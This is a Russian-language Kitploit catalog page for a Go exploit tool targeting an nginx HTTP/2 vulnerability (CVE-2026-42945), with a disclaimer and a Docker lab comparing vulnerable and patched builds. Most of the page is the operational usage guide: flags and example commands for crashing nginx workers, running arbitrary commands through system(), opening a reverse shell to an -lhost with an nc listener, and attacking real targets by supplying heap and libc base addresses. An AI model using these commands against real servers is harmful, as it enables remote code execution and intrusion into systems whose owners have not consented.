Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-42945 — Go-based exploit tool для CVE-2026-42945 (nginx HTTP/2) с возможностями обнаружения, проверки сбоев, выполнения команд и reverse shell для авторизованного тестирования безопасности. | Kitploit
Инструменты/GitHubGitHub/redcrazyghost/cve-2026-42945
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийФаззингТестирование на ПроникновениеЭксплуатация Бинарных Файлов
GitHubredcrazyghost/cve-2026-42945

CVE-2026-42945

Go-based exploit tool для CVE-2026-42945 (nginx HTTP/2) с возможностями обнаружения, проверки сбоев, выполнения команд и reverse shell для авторизованного тестирования безопасности.

Репозиторий
194 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-42945 PoC (Go)

Русский | English

Инструмент для обнаружения и эксплуатации уязвимости nginx HTTP/2 (CVE-2026-42945), предназначенный для проверки наличия уязвимости в авторизованной среде, сравнения эффективности исправлений и воспроизведения поведения PoC в контролируемой лабораторной среде.

Затронутые версии (приблизительно): nginx 0.6.27 – 1.30.0; 1.30.1+ / 1.31.0+ исправлены.


⚠️ Отказ от ответственности (обязательно к прочтению)

Данный репозиторий предназначен исключительно для исследований безопасности, проверки уязвимостей и защитного тестирования.

  1. Законное разрешение: Вы можете использовать этот инструмент только в системах, на которые имеете письменное разрешение или которые полностью принадлежат вам. Сканирование, обнаружение или атака сетей/серверов без разрешения является незаконным; авторы и участники не несут никакой юридической ответственности.
  2. Риски на вашей ответственности: Процесс эксплуатации может привести к краху рабочего процесса (worker) целевого сервиса, прерыванию бизнеса или повреждению данных. Вы должны самостоятельно оценить влияние и предварительно проверить в изолированной среде.
  3. Без гарантий: Инструмент предоставляется «как есть» и не гарантирует успешную эксплуатацию в реальной производственной среде; побочный канал не означает достижение RCE; необходимо независимо проверить через запись файла, обратную команду или обратную оболочку.
  4. Запрет на злоупотребление: Запрещается использовать инструмент для проникновения в неавторизованные системы, вымогательства, разрушения, майнинга или любых незаконных целей. Загрузка, компиляция или использование означает, что вы прочитали и согласились с данным заявлением.
  5. Не связано с NGINX: Данный проект является независимой исследовательской реализацией и не представляет позицию NGINX или какого-либо производителя.

Если вы не принимаете вышеуказанные условия, немедленно прекратите использование и удалите репозиторий.


Обзор функций

РежимОписание
-check-onlyПроверка связности, заголовка Server, приблизительной версии, обнаружение конечной точки PoC
-probe-crashОтправка одного раунда эксплуатации, оценка через крах worker по побочному каналу
-cmdФормирование эксплойт-нагрузки, выполнение указанной команды через system()
-shellОбратная оболочка (требуется -lhost, на локальной машине нужен nc)
-dockerПакетное тестирование локальной Docker-лаборатории (vuln / fixed)

Требования к окружению

  • Go ≥ 1.26 (см. go.mod)
  • Опционально: Docker + docker compose (локальная лаборатория)
  • Опционально: make, golangci-lint (разработка/проверка кода)
  • Проверка эксплуатации: цель должна предоставлять необходимые конечные точки PoC (GET /api/, POST /spray и т.д.); образы Docker уже содержат их

Ограничения и применимость

ЭлементОписание
ПротоколПоддерживается только открытый HTTP (net.Dial + сырые HTTP-байты); HTTPS/TLS не поддерживается. Для порта -port 443 и других TLS-портов требуется предварительное терминирование TLS или использование HTTP-порта.
Эксперименты в DockerОбразы для linux/amd64, первая сборка docker compose build компилирует nginx из исходников, что долго; внутри контейнера используется setarch -R для отключения ASLR, что сильно отличается от продакшена.
Apple SiliconЛокальный Docker работает через эмуляцию platform: linux/amd64, медленно.
Обратная оболочка-shell зависит от системного nc; на Windows рекомендуется ручной прослушивание.
Определение эксплуатацииПобочный канал (крах worker) не равен RCE; необходимо независимо проверить побочные эффекты команды.

Сборка

# Быстрая сборка (вывод в bin/, игнорируется .gitignore)
make build-cmd

# Или напрямую через go
go build -o ./bin/cve-2026-42945 ./cmd

# Просмотр встроенной версии
./bin/cve-2026-42945 -version

Бинарные файлы релизов: скачайте cve-2026-42945-<os>-<arch> для нужной платформы в Releases (автоматически собирается GitHub Actions после пуша тега v*).


Руководство по использованию

Параметры командной строки

-target string      Цель IP/хост (по умолчанию 127.0.0.1)
-port int           Порт цели (0=80; для Docker-уязвимой версии часто 19321)
-docker             Тестировать локальную Docker-лабораторию (vuln:19321, fixed:19331)
-check-only         Только обнаружение, не отправлять трафик эксплойта
-probe-crash        Обнаружение переполнения + побочный канал краха worker
-cmd string         Команда для выполнения через system()
-shell              Обратная оболочка (требуется -lhost)
-lhost string       IP хоста для обратной оболочки
-lport int          Порт хоста для обратной оболочки (по умолчанию 4444)
-docker-profile     Использовать измеренные в deploy/docker базовые адреса кучи/libc
-heap-base string   Базовый адрес кучи (шестнадцатеричный, например 0x555555659000)
-libc-base string   Базовый адрес libc (шестнадцатеричный)
-tries int          Количество попыток для каждого кандидата кучи (по умолчанию 10)
-timeout int        Тайм-аут одного HTTP-запроса в секундах (по умолчанию 5)
-v                  Подробный вывод
-version            Показать версию и выйти

Режим -docker нельзя использовать одновременно с -cmd / -shell; для эксплуатации одной цели укажите -port 19321.

1. Только обнаружение цели

./bin/cve-2026-42945 -target 192.168.1.10 -port 80 -check-only

2. Побочный канал краха (одна цель)

./bin/cve-2026-42945 -port 19321 -probe-crash -v

3. Сравнение в Docker-лаборатории

Сначала запустите контейнеры:

make docker-up
# или
docker compose -f deploy/docker-compose.yml up -d --build

Первая сборка может занять несколько минут, так как компилируется nginx; дождитесь статуса healthy у сервисов в docker compose ps, затем запускайте make test-lab.

СервисПортОписание
vuln19321nginx 1.30.0 (уязвимый)
fixed19331nginx 1.30.1 (исправленный)

Пакетное обнаружение:

./bin/cve-2026-42945 -docker -check-only
./bin/cve-2026-42945 -docker -probe-crash

Или используйте цель Makefile:

make test-lab          # check + probe
make cmd-exploit       # запись /tmp/pwned в vuln и командная проверка

4. Выполнение команды на Docker vuln (проверка RCE)

Экспериментальные контейнеры с отключенным ASLR (setarch -R) и использованием предустановленных базовых адресов -docker-profile дают наибольший успех:

./bin/cve-2026-42945 -port 19321 -docker-profile \
  -cmd 'echo pwned > /tmp/pwned' -v

# Проверка, записан ли файл
docker exec nginx-rift-vuln-1.30.0 cat /tmp/pwned

5. Обратная оболочка

# Терминал 1: запуск инструмента (попытается фоново прослушать nc)
./bin/cve-2026-42945 -port 19321 -docker-profile -shell -lhost 10.0.0.5 -lport 4444 -v

# Если nc не найден, откройте другой терминал и прослушивайте вручную:
nc -lvnp 4444

6. Пользовательская раскладка памяти

Если на реальной цели ASLR, версия libc не совпадают с Docker, необходимо утечь или угадать базовые адреса:

# Цель должна быть на открытом HTTP-порту (не TLS)
./bin/cve-2026-42945 -target TARGET -port 8080 \
  -heap-base 0x555555659000 \
  -libc-base 0x7ffff77ba000 \
  -cmd 'id' -tries 20 -v

Интерпретация результатов

Скачать инструмент